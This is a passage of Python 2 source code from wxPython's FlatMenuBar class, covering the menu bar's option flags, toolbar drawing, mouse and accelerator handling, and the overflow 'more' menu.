bits:\n\n ========================= ========= =============================\n `options` Bit Hex Value Description\n ========================= ========= =============================\n ``FM_OPT_IS_LCD`` 0x1 Use this style if your computer uses a LCD screen\n ``FM_OPT_MINIBAR`` 0x2 Use this if you plan to use toolbar only\n ``FM_OPT_SHOW_CUSTOMIZE`` 0x4 Show \"customize link\" in more menus, you will need to write your own handler. See demo.\n ``FM_OPT_SHOW_TOOLBAR`` 0x8 Set this option is you are planing to use the toolbar\n ========================= ========= =============================\n \n \"\"\"\n\n self._rendererMgr = FMRendererMgr()\n self._parent = parent\n self._curretHiliteItem = -1\n\n self._items = []\n self._dropDownButtonArea = wx.Rect()\n self._tbIconSize = iconSize\n self._tbButtons = []\n self._interval = 20 # 20 milliseconds\n self._showTooltip = -1\n \n self._haveTip = False\n self._statusTimer = None\n self._spacer = SPACER\n self._margin = spacer\n self._toolbarSpacer = TOOLBAR_SPACER\n self._toolbarMargin = TOOLBAR_MARGIN\n \n self._showToolbar = options & FM_OPT_SHOW_TOOLBAR\n self._showCustomize = options & FM_OPT_SHOW_CUSTOMIZE\n self._isLCD = options & FM_OPT_IS_LCD\n self._isMinibar = options & FM_OPT_MINIBAR\n self._options = options\n \n self._dropDownButtonState = ControlNormal\n self._moreMenu = None\n self._dlg = None\n self._tbMenu = None\n self._moreMenuBgBmp = None\n self._lastRadioGroup = 0\n self._mgr = None\n\n self._barHeight = 0\n self._menuBarHeight = 0\n self.SetBarHeight()\n\n wx.Panel.__init__(self, parent, id, size=(-1, self._barHeight), style=wx.WANTS_CHARS)\n\n self.Bind(wx.EVT_ERASE_BACKGROUND, self.OnEraseBackground)\n self.Bind(wx.EVT_PAINT, self.OnPaint)\n self.Bind(wx.EVT_SIZE, self.OnSize)\n self.Bind(wx.EVT_MOTION, self.OnMouseMove)\n self.Bind(EVT_FLAT_MENU_DISMISSED, self.OnMenuDismissed)\n self.Bind(wx.EVT_LEAVE_WINDOW, self.OnLeaveMenuBar)\n self.Bind(wx.EVT_LEFT_DOWN, self.OnLeftDown)\n self.Bind(wx.EVT_LEFT_DCLICK, self.OnLeftDown)\n self.Bind(wx.EVT_LEFT_UP, self.OnLeftUp)\n self.Bind(wx.EVT_IDLE, self.OnIdle)\n \n if \"__WXGTK__\" in wx.Platform:\n self.Bind(wx.EVT_LEAVE_WINDOW, self.OnLeaveWindow)\n\n self.SetFocus()\n \n # start the stop watch\n self._watch = wx.StopWatch()\n self._watch.Start()\n\n\n def Append(self, menu, title):\n \"\"\"\n Adds the item to the end of the menu bar.\n\n :param `menu`: the menu to which we are appending a new item;\n :param `title`: the menu item label.\n \"\"\"\n\n menu._menuBarFullTitle = title\n position, label = GetAccelIndex(title)\n menu._menuBarLabelOnly = label\n\n return self.Insert(len(self._items), menu, title)\n\n\n def OnIdle(self, event):\n \"\"\"\n Handles the ``wx.EVT_IDLE`` event for L{FlatMenuBar}.\n\n :param `event`: a `wx.IdleEvent` event to be processed.\n \"\"\"\n\n refresh = False\n \n if self._watch.Time() > self._interval:\n \n # it is time to process UpdateUIEvents\n for but in self._tbButtons:\n event = wx.UpdateUIEvent(but._tbItem.GetId())\n event.Enable(but._tbItem.IsEnabled())\n event.SetText(but._tbItem.GetLabel())\n event.SetEventObject(self)\n\n self.GetEventHandler().ProcessEvent(event)\n\n if but._tbItem.GetLabel() != event.GetText() or but._tbItem.IsEnabled() != event.GetEnabled():\n refresh = True\n\n but._tbItem.SetLabel(event.GetText())\n but._tbItem.Enable(event.GetEnabled())\n \n self._watch.Start() # Reset the timer\n \n # we need to update the menu bar\n if refresh:\n self.Refresh()\n\n\n def SetBarHeight(self):\n \"\"\" Recalculates the L{FlatMenuBar} height when its settings change. \"\"\"\n\n mem_dc = wx.MemoryDC()\n mem_dc.SelectObject(wx.EmptyBitmap(1, 1))\n dummy, self._barHeight = mem_dc.GetTextExtent(\"Tp\")\n mem_dc.SelectObject(wx.NullBitmap)\n \n if not self._isMinibar:\n self._barHeight += 2*self._margin # The menu bar margin\n else:\n self._barHeight = 0\n \n self._menuBarHeight = self._barHeight\n\n if self._showToolbar :\n # add the toolbar height to the menubar height\n self._barHeight += self._tbIconSize + 2*self._toolbarMargin\n\n if self._mgr is None:\n return\n\n pn = self._mgr.GetPane(\"flat_menu_bar\")\n pn.MinSize(wx.Size(-1, self._barHeight))\n self._mgr.Update()\n self.Refresh()\n\n \n def SetOptions(self, options):\n \"\"\"\n Sets the L{FlatMenuBar} options, whether to show a toolbar, to use LCD screen settings etc...\n\n :param `options`: a combination of the following bits:\n \n ========================= ========= =============================\n `options` Bit Hex Value Description\n ========================= ========= =============================\n ``FM_OPT_IS_LCD`` 0x1 Use this style if your computer uses a LCD screen\n ``FM_OPT_MINIBAR`` 0x2 Use this if you plan to use toolbar only\n ``FM_OPT_SHOW_CUSTOMIZE`` 0x4 Show \"customize link\" in more menus, you will need to write your own handler. See demo.\n ``FM_OPT_SHOW_TOOLBAR`` 0x8 Set this option is you are planing to use the toolbar\n ========================= ========= =============================\n\n \"\"\"\n\n self._options = options\n\n self._showToolbar = options & FM_OPT_SHOW_TOOLBAR\n self._showCustomize = options & FM_OPT_SHOW_CUSTOMIZE\n self._isLCD = options & FM_OPT_IS_LCD\n self._isMinibar = options & FM_OPT_MINIBAR\n\n self.SetBarHeight()\n \n self.Refresh()\n self.Update()\n \n\n def GetOptions(self):\n \"\"\"\n Returns the L{FlatMenuBar} options, whether to show a toolbar, to use LCD screen settings etc...\n\n :see: L{SetOptions} for a list of valid options. \n \"\"\"\n\n return self._options\n\n \n def GetRendererManager(self):\n \"\"\"\n Returns the L{FlatMenuBar} renderer manager.\n \"\"\"\n \n return self._rendererMgr\n\n \n def GetRenderer(self):\n \"\"\"\n Returns the renderer associated with this instance.\n \"\"\"\n \n return self._rendererMgr.GetRenderer()\n \n\n def UpdateItem(self, item):\n \"\"\"\n An item was modified. This function is called by L{FlatMenu} in case\n an item was modified directly and not via a `wx.UpdateUIEvent` event.\n\n :param `item`: an instance of L{FlatMenu}. \n \"\"\"\n\n if not self._showToolbar:\n return\n\n # search for a tool bar with id\n refresh = False\n\n for but in self._tbButtons:\n if but._tbItem.GetId() == item.GetId():\n if but._tbItem.IsEnabled() != item.IsEnabled():\n refresh = True\n \n but._tbItem.Enable(item.IsEnabled())\n break\n \n if refresh: \n self.Refresh()\n \n\n def OnPaint(self, event):\n \"\"\"\n Handles the ``wx.EVT_PAINT`` event for L{FlatMenuBar}.\n\n :param `event`: a `wx.PaintEvent` event to be processed.\n \"\"\"\n\n # on GTK, dont use the bitmap for drawing, \n # draw directly on the DC\n\n if \"__WXGTK__\" in wx.Platform and not self._isLCD:\n self.ClearBitmaps(0)\n\n dc = wx.BufferedPaintDC(self)\n self.GetRenderer().DrawMenuBar(self, dc)\n\n \n def DrawToolbar(self, dc, rect):\n \"\"\"\n Draws the toolbar (if present).\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the toolbar client rectangle.\n \"\"\"\n\n highlight_width = self._tbIconSize + self._toolbarSpacer\n highlight_height = self._tbIconSize + self._toolbarMargin\n \n xx = rect.x + self._toolbarMargin\n #yy = rect.y #+ self._toolbarMargin #+ (rect.height - height)/2\n\n # by default set all toolbar items as invisible\n for but in self._tbButtons:\n but._visible = False\n\n counter = 0\n # Get all the toolbar items\n for i in xrange(len(self._tbButtons)):\n \n xx += self._toolbarSpacer\n\n tbItem = self._tbButtons[i]._tbItem\n # the button width depends on its type\n if tbItem.IsSeparator():\n hightlight_width = SEPARATOR_WIDTH\n elif tbItem.IsCustomControl():\n control = tbItem.GetCustomControl()\n hightlight_width = control.GetSize().x + self._toolbarSpacer\n else:\n hightlight_width = self._tbIconSize + self._toolbarSpacer # normal bitmap's width\n\n # can we keep drawing?\n if xx + highlight_width >= rect.width:\n break\n\n counter += 1\n\n # mark this item as visible\n self._tbButtons[i]._visible = True\n\n bmp = wx.NullBitmap\n\n #------------------------------------------\n # special handling for separator\n #------------------------------------------\n if tbItem.IsSeparator():\n \n # draw the separator\n buttonRect = wx.Rect(xx, rect.y+1, SEPARATOR_WIDTH, rect.height-2)\n self.GetRenderer().DrawToolbarSeparator(dc, buttonRect)\n \n xx += buttonRect.width\n self._tbButtons[i]._rect = buttonRect\n continue\n\n elif tbItem.IsCustomControl():\n control = tbItem.GetCustomControl()\n ctrlSize = control.GetSize()\n ctrlPos = wx.Point(xx, rect.y + (rect.height - ctrlSize.y)/2)\n if control.GetPosition() != ctrlPos:\n control.SetPosition(ctrlPos)\n\n if not control.IsShown():\n control.Show()\n \n buttonRect = wx.RectPS(ctrlPos, ctrlSize)\n xx += buttonRect.width\n self._tbButtons[i]._rect = buttonRect\n continue \n else:\n if tbItem.IsEnabled():\n bmp = tbItem.GetBitmap()\n else:\n bmp = tbItem.GetDisabledBitmap()\n\n # Draw the toolbar image\n if bmp.Ok():\n\n x = xx - self._toolbarSpacer/2\n #y = rect.y + (rect.height - bmp.GetHeight())/2 - 1\n y = rect.y + self._toolbarMargin/2\n \n buttonRect = wx.Rect(x, y, highlight_width, highlight_height)\n \n if i < len(self._tbButtons) and i >= 0:\n\n if self._tbButtons[i]._tbItem.IsSelected():\n tmpState = ControlPressed\n else:\n tmpState = ControlFocus\n\n if self._tbButtons[i]._state == ControlFocus or self._tbButtons[i]._tbItem.IsSelected():\n self.GetRenderer().DrawMenuBarButton(dc, buttonRect, tmpState) # TODO DrawToolbarButton? With separate toolbar colors\n else:\n self._tbButtons[i]._state = ControlNormal\n\n imgx = buttonRect.x + (buttonRect.width - bmp.GetWidth())/2\n imgy = buttonRect.y + (buttonRect.height - bmp.GetHeight())/2\n\n if self._tbButtons[i]._state == ControlFocus and not self._tbButtons[i]._tbItem.IsSelected():\n \n # in case we the button is in focus, place it \n # once pixle up and left\n # place a dark image under the original image to provide it\n # with some shadow\n # shadow = ConvertToMonochrome(bmp)\n # dc.DrawBitmap(shadow, imgx, imgy, True)\n\n imgx -= 1\n imgy -= 1\n \n dc.DrawBitmap(bmp, imgx, imgy, True)\n xx += buttonRect.width\n \n self._tbButtons[i]._rect = buttonRect\n #Edited by P.Kort \n \n if self._showTooltip == -1:\n self.RemoveHelp()\n else:\n try:\n self.DoGiveHelp(self._tbButtons[self._showTooltip]._tbItem)\n except:\n if _debug:\n print \"FlatMenu.py; fn : DrawToolbar; Can't create Tooltip \"\n pass\n\n for j in xrange(counter, len(self._tbButtons)):\n if self._tbButtons[j]._tbItem.IsCustomControl():\n control = self._tbButtons[j]._tbItem.GetCustomControl()\n control.Hide()\n\n\n def GetMoreMenuButtonRect(self):\n \"\"\" Returns a rectangle surrounding the menu button. \"\"\"\n\n clientRect = self.GetClientRect()\n rect = wx.Rect(*clientRect)\n rect.SetWidth(DROP_DOWN_ARROW_WIDTH)\n rect.SetX(clientRect.GetWidth() + rect.GetX() - DROP_DOWN_ARROW_WIDTH - 3)\n rect.SetY(2)\n rect.SetHeight(rect.GetHeight() - self._spacer)\n \n return rect\n\n \n def DrawMoreButton(self, dc, fr, state):\n \"\"\"\n Draws 'more' button to the right side of the menu bar.\n\n :param `dc`: an instance of `wx.DC`;\n :param `fr`: unused at present;\n :param `state`: the 'more' button state.\n\n :see: L{MenuEntryInfo.SetState} for a list of valid menu states.\n \"\"\"\n\n if (not self._showCustomize) and self.GetInvisibleMenuItemCount() < 1 and self.GetInvisibleToolbarItemCount() < 1:\n return\n \n # Draw a drop down menu at the right position of the menu bar\n # we use xpm file with 16x16 size, another 4 pixels we take as spacer\n # from the right side of the frame, this will create a DROP_DOWN_ARROW_WIDTH pixels width\n # of unwanted zone on the right side\n\n rect = self.GetMoreMenuButtonRect()\n\n # Draw the bitmap\n if state != ControlNormal:\n # Draw background according to state\n self.GetRenderer().DrawButton(dc, rect, state)\n else:\n # Delete current image\n if self._moreMenuBgBmp.Ok():\n dc.DrawBitmap(self._moreMenuBgBmp, rect.x, rect.y, True)\n\n dropArrowBmp = self.GetRenderer()._bitmaps[\"arrow_down\"]\n\n # Calc the image coordinates\n xx = rect.x + (DROP_DOWN_ARROW_WIDTH - dropArrowBmp.GetWidth())/2\n yy = rect.y + (rect.height - dropArrowBmp.GetHeight())/2\n \n dc.DrawBitmap(dropArrowBmp, xx, yy + self._spacer, True) \n self._dropDownButtonState = state\n\n\n def HitTest(self, pt):\n \"\"\"\n HitTest method for L{FlatMenuBar}.\n\n :param `pt`: an instance of `wx.Point`, specifying the hit test position.\n \"\"\"\n\n if self._dropDownButtonArea.Contains(pt):\n return -1, DropDownArrowButton\n\n for ii, item in enumerate(self._items):\n if item.GetRect().Contains(pt):\n return ii, MenuItem\n\n # check for tool bar items\n if self._showToolbar:\n for ii, but in enumerate(self._tbButtons):\n if but._rect.Contains(pt):\n # locate the corresponded menu item\n enabled = but._tbItem.IsEnabled()\n separator = but._tbItem.IsSeparator()\n visible = but._visible\n if enabled and not separator and visible:\n self._showTooltip = ii\n return ii, ToolbarItem\n\n self._showTooltip = -1\n return -1, NoWhere\n\n\n def FindMenuItem(self, id):\n \"\"\"\n Returns a L{FlatMenuItem} according to its `id`.\n\n :param `id`: the identifier for the sought L{FlatMenuItem}.\n \"\"\"\n\n for item in self._items:\n mi = item.GetMenu().FindItem(id)\n if mi:\n return mi\n return None\n\n\n def OnSize(self, event):\n \"\"\"\n Handles the ``wx.EVT_SIZE`` event for L{FlatMenuBar}.\n\n :param `event`: a `wx.SizeEvent` event to be processed.\n \"\"\"\n\n self.ClearBitmaps(0)\n self.Refresh()\n\n\n def OnEraseBackground(self, event):\n \"\"\"\n Handles the ``wx.EVT_ERASE_BACKGROUND`` event for L{FlatMenuBar}.\n\n :param `event`: a `wx.EraseEvent` event to be processed.\n\n :note: This method is intentionally empty to reduce flicker. \n \"\"\"\n\n pass \n\n\n def ShowCustomize(self, show=True):\n \"\"\"\n Shows/hides the drop-down arrow which allows customization of L{FlatMenu}.\n\n :param `show`: ``True`` to show the customize menu, ``False`` to hide it.\n \"\"\"\n\n if self._showCustomize == show:\n return\n\n self._showCustomize = show\n self.Refresh()\n\n\n def SetMargin(self, margin):\n \"\"\"\n Sets the margin above and below the menu bar text\n \n :param `margin`: Height in pixels of the margin \n \"\"\"\n self._margin = margin\n\n \n def SetSpacing(self, spacer):\n \"\"\"\n Sets the spacing between the menubar items\n \n :param `spacer`: number of pixels between each menu item\n \"\"\"\n self._spacer = spacer\n \n\n def SetToolbarMargin(self, margin):\n \"\"\"\n Sets the margin around the toolbar\n \n :param `margin`: width in pixels of the margin around the tools in the toolbar\n \"\"\"\n self._toolbarMargin = margin\n\n \n def SetToolbarSpacing(self, spacer):\n \"\"\"\n Sets the spacing between the toolbar tools\n \n :param `spacer`: number of pixels between each tool in the toolbar\n \"\"\"\n self._toolbarSpacer = spacer\n\n \n def SetLCDMonitor(self, lcd=True):\n \"\"\"\n Sets whether the PC monitor is an LCD or not.\n\n :param `lcd`: ``True`` to use the settings appropriate for a LCD monitor,\n ``False`` otherwise.\n \"\"\"\n\n if self._isLCD == lcd:\n return\n\n self._isLCD = lcd\n self.Refresh()\n \n\n def ProcessMouseMoveFromMenu(self, pt):\n \"\"\"\n This function is called from child menus, this allow a child menu to\n pass the mouse movement event to the menu bar.\n\n :param `pt`: an instance of `wx.Point`.\n \"\"\"\n\n idx, where = self.HitTest(pt)\n if where == MenuItem:\n self.ActivateMenu(self._items[idx])\n\n\n def DoMouseMove(self, pt, leftIsDown):\n \"\"\"\n Handles mouse move event.\n\n :param `pt`: an instance of `wx.Point`;\n :param `leftIsDown`: ``True`` is the left mouse button is down, ``False`` otherwise.\n \"\"\"\n \n # Reset items state\n for item in self._items:\n item.SetState(ControlNormal)\n\n idx, where = self.HitTest(pt)\n\n if where == DropDownArrowButton:\n self.RemoveHelp()\n if self._dropDownButtonState != ControlFocus and not leftIsDown:\n dc = wx.ClientDC(self)\n self.DrawMoreButton(dc, -1, ControlFocus)\n\n elif where == MenuItem:\n self._dropDownButtonState = ControlNormal\n # On Item\n self._items[idx].SetState(ControlFocus)\n\n # If this item is already selected, dont draw it again\n if self._curretHiliteItem == idx:\n return\n\n self._curretHiliteItem = idx\n if self._showToolbar:\n\n # mark all toolbar items as non-hilited\n for but in self._tbButtons:\n but._state = ControlNormal\n\n self.Refresh()\n\n elif where == ToolbarItem:\n\n if self._showToolbar:\n if idx < len(self._tbButtons) and idx >= 0:\n if self._tbButtons[idx]._state == ControlFocus:\n return\n\n # we need to refresh the toolbar\n active = self.GetActiveToolbarItem()\n if active != wx.NOT_FOUND:\n self._tbButtons[active]._state = ControlNormal\n\n for but in self._tbButtons:\n but._state = ControlNormal\n\n self._tbButtons[idx]._state = ControlFocus\n self.DoGiveHelp(self._tbButtons[idx]._tbItem)\n self.Refresh()\n\n elif where == NoWhere:\n\n refresh = False\n self.RemoveHelp()\n\n if self._dropDownButtonState != ControlNormal:\n refresh = True\n self._dropDownButtonState = ControlNormal\n\n if self._showToolbar:\n tbActiveItem = self.GetActiveToolbarItem()\n if tbActiveItem != wx.NOT_FOUND:\n self._tbButtons[tbActiveItem]._state = ControlNormal\n refresh = True\n\n if self._curretHiliteItem != -1:\n \n self._items[self._curretHiliteItem].SetState(ControlNormal)\n self._curretHiliteItem = -1\n self.Refresh()\n\n if refresh:\n self.Refresh()\n\n\n def OnMouseMove(self, event):\n \"\"\"\n Handles the ``wx.EVT_MOTION`` event for L{FlatMenuBar}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n pt = event.GetPosition()\n self.DoMouseMove(pt, event.LeftIsDown())\n\n\n def OnLeaveMenuBar(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEAVE_WINDOW`` event for L{FlatMenuBar}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n\n :note: This method is for MSW only.\n \"\"\"\n \n pt = event.GetPosition()\n self.DoMouseMove(pt, event.LeftIsDown())\n\n\n def ResetToolbarItems(self):\n \"\"\" Used internally. \"\"\"\n\n for but in self._tbButtons:\n but._state = ControlNormal\n\n\n def GetActiveToolbarItem(self):\n \"\"\" Returns the active toolbar item. \"\"\"\n\n for but in self._tbButtons:\n \n if but._state == ControlFocus or but._state == ControlPressed:\n return self._tbButtons.index(but)\n \n return wx.NOT_FOUND\n \n def GetBackgroundColour(self):\n \"\"\" Returns the menu bar background colour. \"\"\"\n \n return self.GetRenderer().menuBarFaceColour\n \n def SetBackgroundColour(self, colour):\n \"\"\"\n Sets the menu bar background colour.\n\n :param `colour`: a valid `wx.Colour`.\n \"\"\"\n \n self.GetRenderer().menuBarFaceColour = colour\n\n\n def OnLeaveWindow(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEAVE_WINDOW`` event for L{FlatMenuBar}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n\n :note: This method is for GTK only.\n \"\"\"\n\n self._curretHiliteItem = -1\n self._dropDownButtonState = ControlNormal\n\n # Reset items state\n for item in self._items:\n item.SetState(ControlNormal)\n\n for but in self._tbButtons:\n but._state = ControlNormal\n\n self.Refresh()\n\n\n def OnMenuDismissed(self, event):\n \"\"\"\n Handles the ``EVT_FLAT_MENU_DISMISSED`` event for L{FlatMenuBar}.\n\n :param `event`: a L{FlatMenuEvent} event to be processed.\n \"\"\"\n\n pt = wx.GetMousePosition()\n pt = self.ScreenToClient(pt)\n\n idx, where = self.HitTest(pt)\n self.RemoveHelp()\n\n if where not in [MenuItem, DropDownArrowButton]:\n self._dropDownButtonState = ControlNormal\n self._curretHiliteItem = -1\n for item in self._items:\n item.SetState(ControlNormal)\n \n self.Refresh()\n\n\n def OnLeftDown(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEFT_DOWN`` event for L{FlatMenuBar}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n pt = event.GetPosition()\n idx, where = self.HitTest(pt)\n\n if where == DropDownArrowButton:\n dc = wx.ClientDC(self)\n self.DrawMoreButton(dc, -1, ControlPressed)\n self.PopupMoreMenu()\n\n elif where == MenuItem:\n # Position the menu, the GetPosition() return the coords\n # of the button relative to its parent, we need to translate\n # them into the screen coords\n self.ActivateMenu(self._items[idx])\n \n elif where == ToolbarItem:\n redrawAll = False\n item = self._tbButtons[idx]._tbItem\n # try to toggle if its a check item:\n item.Toggle()\n # switch is if its a unselected radio item\n if not item.IsSelected() and item.IsRadioItem():\n group = item.GetGroup()\n for i in xrange(len(self._tbButtons)):\n if self._tbButtons[i]._tbItem.GetGroup() == group and \\\n i != idx and self._tbButtons[i]._tbItem.IsSelected():\n self._tbButtons[i]._state = ControlNormal\n self._tbButtons[i]._tbItem.Select(False)\n redrawAll = True\n item.Select(True)\n # Over a toolbar item\n if redrawAll:\n self.Refresh()\n if \"__WXMSW__\" in wx.Platform:\n dc = wx.BufferedDC(wx.ClientDC(self))\n else:\n dc = wx.ClientDC(self)\n else:\n dc = wx.ClientDC(self)\n self.DrawToolbarItem(dc, idx, ControlPressed)\n\n # TODO:: Do the action specified in this button\n self.DoToolbarAction(idx)\n\n\n def OnLeftUp(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEFT_UP`` event for L{FlatMenuBar}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n pt = event.GetPosition()\n idx, where = self.HitTest(pt)\n \n if where == ToolbarItem:\n # Over a toolbar item\n dc = wx.ClientDC(self)\n self.DrawToolbarItem(dc, idx, ControlFocus)\n\n\n def DrawToolbarItem(self, dc, idx, state):\n \"\"\"\n Draws a toolbar item button.\n\n :param `dc`: an instance of `wx.DC`;\n :param `idx`: the tool index in the toolbar;\n :param `state`: the button state.\n\n :see: L{MenuEntryInfo.SetState} for a list of valid menu states. \n \"\"\"\n\n if idx >= len(self._tbButtons) or idx < 0:\n return\n \n if self._tbButtons[idx]._tbItem.IsSelected():\n state = ControlPressed\n rect = self._tbButtons[idx]._rect\n self.GetRenderer().DrawButton(dc, rect, state)\n \n # draw the bitmap over the highlight \n buttonRect = wx.Rect(*rect)\n x = rect.x + (buttonRect.width - self._tbButtons[idx]._tbItem.GetBitmap().GetWidth())/2\n y = rect.y + (buttonRect.height - self._tbButtons[idx]._tbItem.GetBitmap().GetHeight())/2\n\n if state == ControlFocus:\n \n # place a dark image under the original image to provide it\n # with some shadow\n # shadow = ConvertToMonochrome(self._tbButtons[idx]._tbItem.GetBitmap())\n # dc.DrawBitmap(shadow, x, y, True)\n\n # in case we the button is in focus, place it \n # once pixle up and left\n x -= 1\n y -= 1\n dc.DrawBitmap(self._tbButtons[idx]._tbItem.GetBitmap(), x, y, True)\n\n\n def ActivateMenu(self, menuInfo):\n \"\"\"\n Activates a menu.\n\n :param `menuInfo`: an instance of L{MenuEntryInfo}. \n \"\"\"\n\n # first make sure all other menus are not popedup\n if menuInfo.GetMenu().IsShown():\n return\n\n idx = wx.NOT_FOUND\n \n for item in self._items:\n item.GetMenu().Dismiss(False, True)\n if item.GetMenu() == menuInfo.GetMenu():\n idx = self._items.index(item)\n\n # Remove the popup menu as well\n if self._moreMenu and self._moreMenu.IsShown():\n self._moreMenu.Dismiss(False, True)\n\n # make sure that the menu item button is highlited\n if idx != wx.NOT_FOUND:\n self._dropDownButtonState = ControlNormal\n self._curretHiliteItem = idx\n for item in self._items:\n item.SetState(ControlNormal)\n\n self._items[idx].SetState(ControlFocus)\n self.Refresh()\n\n rect = menuInfo.GetRect()\n menuPt = self.ClientToScreen(wx.Point(rect.x, rect.y))\n menuInfo.GetMenu().SetOwnerHeight(rect.height)\n menuInfo.GetMenu().Popup(wx.Point(menuPt.x, menuPt.y), self)\n\n\n def DoToolbarAction(self, idx):\n \"\"\"\n Performs a toolbar button pressed action.\n\n :param `idx`: the tool index in the toolbar.\n \"\"\"\n \n # we handle only button clicks\n if self._tbButtons[idx]._tbItem.IsRegularItem() or \\\n self._tbButtons[idx]._tbItem.IsCheckItem():\n\n # Create the event\n event = wx.CommandEvent(wxEVT_FLAT_MENU_SELECTED, self._tbButtons[idx]._tbItem.GetId())\n event.SetEventObject(self)\n\n # all events are handled by this control and its parents\n self.GetEventHandler().ProcessEvent(event)\n\n\n def FindMenu(self, title):\n \"\"\"\n Returns the index of the menu with the given title or ``wx.NOT_FOUND`` if\n no such menu exists in this menubar.\n\n :param `title`: may specify either the menu title (with accelerator characters\n , i.e. \"&File\") or just the menu label (\"File\") indifferently.\n \"\"\"\n\n for ii, item in enumerate(self._items):\n accelIdx, labelOnly = GetAccelIndex(item.GetTitle())\n\n if labelOnly == title or item.GetTitle() == title:\n return ii\n \n return wx.NOT_FOUND\n\n\n def GetMenu(self, menuIdx):\n \"\"\"\n Returns the menu at the specified index (zero-based).\n\n :param `menuIdx`: the index of the sought menu.\n \"\"\"\n\n if menuIdx >= len(self._items) or menuIdx < 0:\n return None\n \n return self._items[menuIdx].GetMenu()\n\n\n def GetMenuCount(self):\n \"\"\" Returns the number of menus in the menubar. \"\"\"\n\n return len(self._items) \n\n\n def Insert(self, pos, menu, title):\n \"\"\"\n Inserts the menu at the given position into the menu bar.\n\n :param `pos`: the position of the new menu in the menu bar;\n :param `menu`: the menu to add. L{FlatMenuBar} owns the menu and will free it;\n :param `title`: the title of the menu.\n\n :note: Inserting menu at position 0 will insert it in the very beginning of it,\n inserting at position L{GetMenuCount} is the same as calling L{Append}.\n \"\"\"\n\n menu.SetMenuBar(self)\n self._items.insert(pos, MenuEntryInfo(title, menu))\n self.UpdateAcceleratorTable()\n\n self.ClearBitmaps(pos)\n self.Refresh() \n return True\n\n\n def Remove(self, pos):\n \"\"\"\n Removes the menu from the menu bar and returns the menu object - the\n caller is responsible for deleting it.\n\n :param `pos`: the position of the menu in the menu bar.\n \n :note: This function may be used together with L{Insert} to change the menubar\n dynamically.\n \"\"\"\n\n if pos >= len(self._items):\n return None\n\n menu = self._items[pos].GetMenu()\n self._items.pop(pos)\n self.UpdateAcceleratorTable()\n\n # Since we use bitmaps to optimize our drawings, we need\n # to reset all bitmaps from pos and until end of vector\n # to force size/position changes to the menu bar\n self.ClearBitmaps(pos)\n self.Refresh()\n\n # remove the connection to this menubar\n menu.SetMenuBar(None)\n return menu\n\n\n def UpdateAcceleratorTable(self):\n \"\"\" Updates the parent accelerator table. \"\"\"\n \n # first get the number of items we have\n updatedTable = []\n parent = self.GetParent()\n\n for item in self._items:\n \n updatedTable = item.GetMenu().GetAccelArray() + updatedTable \n\n # create accelerator for every menu (if it exist)\n title = item.GetTitle()\n mnemonic, labelOnly = GetAccelIndex(title)\n \n if mnemonic != wx.NOT_FOUND:\n \n # Get the accelrator character\n accelChar = labelOnly[mnemonic] \n accelString = \"\\tAlt+\" + accelChar\n title += accelString\n\n accel = wx.GetAccelFromString(title)\n itemId = item.GetCmdId()\n \n if accel:\n \n # connect an event to this cmd\n parent.Connect(itemId, -1, wxEVT_FLAT_MENU_SELECTED, self.OnAccelCmd)\n accel.Set(accel.GetFlags(), accel.GetKeyCode(), itemId)\n updatedTable.append(accel)\n \n entries = [wx.AcceleratorEntry() for ii in xrange(len(updatedTable))]\n \n # Add the new menu items\n for i in xrange(len(updatedTable)):\n entries[i] = updatedTable[i]\n\n table = wx.AcceleratorTable(entries)\n del entries\n\n parent.SetAcceleratorTable(table)\n\n\n def ClearBitmaps(self, start=0):\n \"\"\"\n Restores a `wx.NullBitmap` for the menu.\n\n :param `start`: the index at which to start resetting the bitmaps.\n \"\"\"\n\n if self._isLCD:\n return\n \n for item in self._items[start:]:\n item.SetTextBitmap(wx.NullBitmap)\n item.SetSelectedTextBitmap(wx.NullBitmap)\n\n\n def OnAccelCmd(self, event):\n \"\"\"\n Single function to handle any accelerator key used inside the menubar.\n\n :param `event`: a L{FlatMenuEvent} event to be processed.\n \"\"\"\n\n for item in self._items:\n if item.GetCmdId() == event.GetId():\n self.ActivateMenu(item)\n \n\n def ActivateNextMenu(self):\n \"\"\" Activates next menu and make sure all others are non-active. \"\"\"\n \n last_item = self.GetLastVisibleMenu()\n # find the current active menu\n for i in xrange(last_item+1):\n if self._items[i].GetMenu().IsShown():\n nextMenu = i + 1\n if nextMenu >= last_item:\n nextMenu = 0\n self.ActivateMenu(self._items[nextMenu])\n return\n \n\n def GetLastVisibleMenu(self):\n \"\"\" Returns the index of the last visible menu on the menu bar. \"\"\"\n\n last_item = 0\n\n # find the last visible item\n rect = wx.Rect()\n \n for item in self._items:\n\n if item.GetRect() == rect:\n break\n\n last_item += 1\n\n return last_item\n\n\n def ActivatePreviousMenu(self):\n \"\"\" Activates previous menu and make sure all others are non-active. \"\"\"\n\n # find the current active menu\n last_item = self.GetLastVisibleMenu()\n\n for i in xrange(last_item):\n if self._items[i].GetMenu().IsShown():\n prevMenu = i - 1\n if prevMenu < 0:\n prevMenu = last_item - 1\n\n if prevMenu < 0:\n return\n\n self.ActivateMenu(self._items[prevMenu])\n return\n\n\n def CreateMoreMenu(self):\n \"\"\" Creates the drop down menu and populate it. \"\"\"\n \n if not self._moreMenu: \n # first time\n self._moreMenu = FlatMenu(self)\n self._popupDlgCmdId = wx.NewId()\n\n # Connect an event handler for this event\n self.Connect(self._popupDlgCmdId, -1, wxEVT_FLAT_MENU_SELECTED, self.OnCustomizeDlg)\n \n # Remove all items from the popup menu\n self._moreMenu.Clear()\n \n invM = self.GetInvisibleMenuItemCount()\n \n for i in xrange(len(self._items) - invM, len(self._items)):\n item = FlatMenuItem(self._moreMenu, wx.ID_ANY, self._items[i].GetTitle(),\n \"\", wx.ITEM_NORMAL, self._items[i].GetMenu())\n self._moreMenu.AppendItem(item)\n\n # Add invisible toolbar items\n invT = self.GetInvisibleToolbarItemCount()\n \n if self._showToolbar and invT > 0:\n if self.GetInvisibleMenuItemCount() > 0:\n self._moreMenu.AppendSeparator()\n\n for i in xrange(len(self._tbButtons) - invT, 